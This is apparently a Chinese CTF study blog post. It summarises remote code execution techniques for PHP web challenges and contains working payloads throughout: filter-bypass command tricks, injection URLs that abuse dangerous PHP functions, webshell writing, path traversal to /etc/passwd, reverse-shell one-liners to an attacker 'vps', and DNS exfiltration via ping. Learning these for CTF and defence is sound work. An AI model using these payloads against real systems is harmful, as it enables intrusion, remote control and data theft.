中午还在说学高数,结果下午就写起了RCE的总结。(bushi
0x00 简介
之前写的RCE总结没有那么详细(也不见了。。),顺便写一个详细的,这篇文章会根据比赛和刷题遇到的奇淫技巧,一直更新。
RCE分为代码执行和命令执行。
0x01 常用的linux命令(代码执行)
1.cp 这个命令常用于无法直接查看flag的之后,将flag 拷贝到另外一个文件,例如system("cp flag 1.txt")
2.cat 这个命令老生常谈了属于是,常用于查看一些文件,例如:cat flag.
3.tac 这个命令和cat差不多,cat从第一行开始读取,tac从最后一行开始读取。例如:tac flag
4.nl 这个命令也用于查看文件,例如:nl flag
5.head 用于查看文件,例如:head flag
6.more 用于查看文件,例如:more flag
7.less 用于查看文件,例如:less flag
8.sort 用于查看文件,例如:sort flag
9.tail 用于查看文件 例如:tail flag
10.sed 用于查看文件 例如:sed a123 flag或者sed -n '1p' flag 往flag的每一行下面插入123(这里的插入并不会影响原本的文件,只是带着123一起输出出来),或者-n的单行输出,并回显出来。
11.cut 用于查看文件,但是有点麻烦,我们可以用cut依次输出 例如:cut -c 1 flag 那么就是输出flag文件内容的第一位,嫌麻烦,写个脚本,依次输出就好了。cut -c {i} flag 是吧。懂得都懂。
12.awk 用于查看文件,也有点麻烦(但是在打比赛的时候,tm的能用就彳亍) 例如:awk '{print}' flag
13.strings 用于查看文件,例如 strings flag
14.od 默认将文件转为16进制输出,所以我们还是-c 例如:od -c flag
15.paste 原本用于将两个文件合并在一起,但是它也可以单独输出文件 例如:paste flag
16.nc 老生常谈 常用于反弹shell例如:nc vps 9999 -e /bin/bash 然后攻击机 nc -vlp 9999
17.bash 也可以用于反弹shell,例如:bash -i >& /dev/tcp/vps/9999 0>&1(这里是RCE文章,所以反弹shell就少讲点辣)
18.uniq 用于查看文件,例如:uniq flag
19.file用于查看文件,原本使用于查看报错的,例如 file -f flag
20.rev 倒置文件输出。例如:rev flag
0x02 linux下RCE的奇技淫巧
1.在linux里,?可以匹配任意一个字。例如 cat fla? 如果这个文件夹里只有一个f开头的文件,那么cat f???也彳亍的。还有一种用法。我们都知道,我们的命令都被放在/bin这个根目录下。当我们的命令被ban了好多好多实在没办法的时候,不妨尝试一下调用/bin下的命令,例如:/bin/ca? 其实就是cat。但是!只有一些情况下才能用,因为cat的优先级不一定排得到最前面。在我本地的kali就会出现这个错误,cal比cat的优先级来的高。。

666.png
paste就彳亍。例如/bin/past? flag(谁没事把past写进正则对吧。)倒是蛮有可能把?写入正则的。。
2.RCE中我们要善用>这个字符,假设flag的内容无法直接cat出来,我们可以将flag的内容写入到其他文件中。例如:cat flag>1.txt。例如将shell写入对应的文件里。例如:echo "<?php system(ls);?>" > 1.php 但是他会覆盖原本的文件,所以不要写到原本系统自带的文件当中去,不然又要重启容器。
3.可以代表全部,所以可以cat 或者cat fla*都可以。
4.在linux中,我们可以用;将一个命令,分开成两个命令;在一些特定环境下,例如/dev/null 2&>1吞字符的情况下,可以用cat flag;这样的话 /dev/null 2&>1的作用就影响不到cat flag了。也可以使用%0a,例如cat flag%09
5.$IFS是linux中的一个环境变量,用于内部字符分割符,当空格被过滤的时候,就可以使用$IFS,但是$IFS不能直接后面跟flag。只能cat$IFS* 或者cat$IFS$1flag 后面的1可以替换成任意个位数字,但是必须跟着或者${IFS}。当然也可以使用%09,毕竟是RCE嘛,浏览器会对url编码进行一次解码。例如:cat%09flag,类似的urlencode %20,%09等,
6.在RCE中也要善用<这个字符,这个字符可以替代空格,例如:cat<flag.千万不要把<打成了>,不然文件的内容就会被清空。。
7.<>,php中的飞船符,在这里也可以用于代替空格,例如cat<>flag,也是肥肠好用。
8.善用"" '',单引号和双引号,也是肥肠好用。当cat或者flag这些关键被放入正则的时候,可以使用c""at fl""ag或者ca''t fl''ag都是彳亍的。
9.善用,当cat被过滤的时候,我们可以这么构造 cat flag.或者flag也被过滤的时候,我们也可以这样构造cat flag
10.善用字符拼接,我们可以这么构造payload a=t;b=g;ca$a fla$b;也可以读取flag,结合前面的姿势,我们是不是可以a=t;b=g;ca$a<>fla$b
11.反引号,可以这样构造 cat `ls`,相当于 cat *.很nice
12.特殊变量绕过,可以这样构造 ca$4t fl$5ag或者ca$*t fl$*ag
13.base64绕过例如:echo Y2F0IGZsYWc=|base64 -d|sh
14.在花括号内命令执行,例如:{cat,flag}
15.环境变量取值拼接,在这里取值的时候,字母和数字的作用一样,我们可以${PATH:~0}或者${PATH:~A}都可以去到环境变量里的最后一位。这里取到的是n。例如我们要拼接一个nl,(因为web的目录一般都是/var/www/html,所以${PWD:~A}一般都是l)${PATH:~A}${PWD:~A}就可以构造出nl 结合之前的? 那我们就可以构造出${PATH:~A}${PWD:~A} ???.??? 其实就是nl flag.php 神奇吧!还有进阶玩法。当环境变量中加上#,例如${#PWD}就可以查看到${PWD}环境变量的长度,那么我们在cat被过滤的时候,可以这么调用ca${HOME:${#HOSTNAME}:${#SHLVL}} flag。
0x03 代码执行(PHP)
后续学完java,会讲讲java的代码执行。
一.call_user_func(将会被调用的回调函数,参数)
RCE中一般这么使用:call_user_func($_GET[1],$_GET[2]);
daidai.php?1=assert&2=phpinfo() 这样我们就完成了一次代码执行。
这里需要注意两点 1.call_user_func里面不能使用语言结构,例如eval在call_user_func里不能使用
2.PHP5和PHP7.0下这种构造方法是可以,但是到了PHP7.0以上他会报错。原因是php7.1版本后,assert默认不再可以执行代码,但是我们还有很多危险函数可以选择,例如system,daidai.php?1=system&2=dir
二.call_user_func_array(将会被调用的回调函数,参数数组作为参数)
RCE一般中这么使用:call_user_func_array($_GET[1],$_GET[2]);
PHP5-PHP7.0:?daidai.php?1=assert&2[]=phpinfo()
PHP7.1:?daidai.php?1=system&2[]=dir
三.create_function
这个函数我们看PHP手册。
create_function.png
这个函数在内部实现使用了eval,构造方式

<?php 
 $shell=$_GET['shell'];
 $a=create_function('$shell',"echo $shell");
 $a('');
 ?>

调用方法:daidai.php?shell=system(dir);
四:array_map()
这个函数的回调函数会调用数组里的每个元素。
构造方式:

<?php
array_map($_GET[1],$_GET[2]);
?>

调用方法:daidai.php?1=system&2[]=whoami
五:preg_replace($pattern,replacement,subject)
这个函数原本并不危险,甚至经常用于过滤一些危险函数,但是他的/e的搜索模式问题很大。
当使用/e修饰符时,会将字符串作为php代码使用eval进行执行。

<?php
preg_replace("/test/e",$_GET['1'],"test");
?>

调用方法:daidai.php?1=system(whoami)
这里有个重点,前面的pattern,一定要被subject匹配到。
六.system
也算是最容易被ban的函数之一了吧。
这也不用说调用方法了,直接linux命令就完事儿了,记得
七.shell_exec
无回显的RCE。一般都需要输出出来。
这也不说调用方法了,如果没有回显,我们肯定首先考虑反弹shell和外带。
反弹shell前面已经说过了,就这么构造就完事了,主要还是外带。(linux下,windows暂时还没研究咋外带,希望有师傅能补充一下~)
dns外带:ping `whoami`.vps
成功的带出来了。
八.passthru
这个函数也是特别容易被ban。也是和system一样可以直接执行命令的。
九.exec
exec这个函数不会回显,即使我们echo,也只能echo出最后一行.建议反弹shell或者外带。当然如果你比较“自由”。

<?php
echo(exec($_GET[0]));
?>

就可以用sed逐行输出

这样构造的话,就可以将命令执行的结果放入res变量,然后var_dump输出。
十.popen('需要执行的命令','连接模式r[只读]或者w[只写]')
一般的构造方式(他只能返回第一行)

<?php
$file=popen('cat flag','r');
$a=fgets($file);
echo $a;
pclose($file);
?>

十一.proc_open
其实和popen很相似,但也不同(我发现他无回显,但是能执行)

<?php
$descriptorspec = array(0 => array("pipe", "r"));
$process = proc_open($_GET[1], $descriptorspec, $pipes); 
echo stream_get_contents($pipes[0]);
fclose($pipes[0]);
proc_close($process);
?>

十二.ob_start
原本使用于打开输出控制缓冲
但是我们可以在ob_start内设置一个$_GET 然后echo一个$_GET就形成了一个$_GET($_GET)的RCE

<?php
ob_start($_GET[1]);
echo "$_GET[2]";
ob_end_flush();
?>

可以这样构造RCE
1=system&2=sed%20-n%20"1p"%20flag
前面讲到过sed这里配合-n参数进行sed -n "1p" flag 进行逐行输出。
十三.include()
老生常谈的文件包含函数,常用于文件包含使用读取文件。例如?file=../../../../../../../etc/passwd(使用../回退,读取/etc/passwd)
还可以RCE
例如GET:?file=php://input
POST=<?php phpinfo();?> 这样就可以执行POST内的任意PHP语句。
一般的时候,我们读取php文件无法直接读取到,那么我们就可以用伪协议将文件进行base64编码,然后读取例如: php://filter/read=convert.base64-encode/resouce=xxx.php(如果你经常参加一些不给网,用比赛方电脑的比赛那么建议背下来)
更多的姿势在下次的文件包含总结内会详细总结。
十四.show_source()
其实他并不危险,但是他有一个源码的高亮的功能,如果可控,就能查看任意文件。例如show_source(flag.php)这样就能读取到flag.php
十五.scandir()
读取某个目录下存在的所有文件(只有文件名没有文件内容),例如print_r(scandir("/"));必须要自己输出,且他会以数组形式输出。
十六.highlight_file()
这个函数和show_source()有异曲同工之妙,高亮文件,例如highlight_file("/flag.txt")
十七.mail()
这个函数等我研究一下,后面专门出一期。
0X04 代码执行下的奇技淫巧
1.最常规的就是反引号,反引号命令执行,早就已经人尽皆知了。``的执行效果和shell_exec相同。无回显的命令执行
2.算是一个PHP的特性把,当我们在函数后面不加空格直接加上变量是可以正常运行的。例如include$_GET[a]就可以直接将变量转移到a这个可控上,那么就可以规避到原来的过滤。因为PHP的最后的一句可以不加;所以可以用?>闭合
那么payload就变成了 inlcude$_GET[a]?> a=php://filter/read=convert.base64-encode/resource=flag.php
3.函数套娃最近考的也蛮多的。例如ctfshow web40的这个payload show_source(next(array_reverse(scandir(pos(localeconv())))));
这个payload具体可以自己研究下。
例如ctfshow web754,变量转移绕过原本的限制,payload为
pos(getallheaders())然后头部注入。执行RCE
还有session_id,原本该函数用来获取/设置当前会话id,这个函数需要session_start开启。会话ID中只能使用a-z A-Z 0-9 , -,所以我们需要对其进行hex2bin()函数十六进制转换成ascii字符,
所以姿势就为eval(hex2bin(session_id(session_start())));
然后同时的PHPSESSID=706870696e666f28293b 执行RCE
类似的函数还有apache_request_headers() getenv() get_defined_vars()
4.其实除了system()这样构造,还可以这样构造 (system)('cat flag.php')
5.pdo读取flag,如果已知对方mysql服务器的密码,但只能在本地登录的时候,不妨调用pdo,用pdo执行语句
cmd=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach ($dbh->query('select load_file("/flag.txt")') as $row) {echo ($row[0]) . "|";}$dbh = null;} catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
6.FFI PHP7.4 更新
FFI可以通过PHP去调用C代码,这样我们就可以通过FFI去调用PHP的系统函数,然后进行RCE
例如<?php $ffi =FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); ?>
大家用过蚁剑的bypass disbale_function插件都知道,这也是插件中的一个功能,bypassdisable_function后面也会开一篇文章(网安的东西太多了。。。)
7.进制转换绕过
我们前面说过(system)('cat flag.php')这种方式也会被执行,那么我们就可以这样构造
$a=base_convert,$a(1751504350,10,36)($a(8768397090111664438,10,30))(){1}
这样我们就可以截取getallheaders获取flag 在头部注入1:cat flag RCE成功
8.使用file_put_contents进行RCE,也许看到file_put_contents,可能第一时间想到的是写入文件,当我们无法写入文件的时候,这里就可以有一个奇技淫巧,不仅可以RCE,甚至还能反弹shell。
我们可以通过ftp的被动模式攻击内网的PHP-FPM,具体看我自己的写的陇原战“疫”的writeup